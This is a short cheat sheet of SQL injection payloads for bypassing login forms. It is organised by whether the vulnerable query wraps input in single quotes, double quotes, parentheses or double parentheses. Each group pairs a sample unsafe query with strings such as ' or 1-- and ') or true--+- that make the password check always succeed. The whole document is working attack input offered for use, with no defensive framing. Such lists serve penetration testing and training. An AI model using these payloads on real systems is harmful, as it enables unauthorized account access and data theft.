📌Login Bypass Using SQL Injection
Use when input lands inside with single quote Like Query:
select username,pass from users where username='$username' and password='$passwrd' limit 0,1;Injections:
'-'
'&'
'^'
'*'
' --+-
' or true--+-
' or ''='
' or 1--
' or 'x'='x----------------------------------------------------------------
Use when input lands inside with Dobule quote Like Query:
select username,pass from users where username="$username" and password="$passwrd" limit 0,1;Injections:
"-"
"&"
"^"
"*"
" --+-
" or true--+-
" or ""="
" or 1--
" or "x"="----------------------------------------------------------------
Use when input lands inside with Single quote Parenthesis Like Query:
select username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;Injections:
')-('
')&('
')^('
')*('
') --+-
') or true--+-
') or ('')=('
') or 1--
') or ('x')=('----------------------------------------------------------------
Use when input lands inside with Dobule quote Parenthesis Like Query:
select username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;Injections:
")-("
")&("
")^("
")*("
") --+-
") or true--+-
") or ("")=("
") or 1--
") or ("x")=("----------------------------------------------------------------
Use when input lands inside Single quote Dobule Parenthesis Like Query:
select username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;Injections:
'))-(('
'))&(('
'))^(('
'))*(('
')) --+-
')) or true--+-
')) or ((''))=(('
')) or 1--
')) or (('x'))=(('Last updated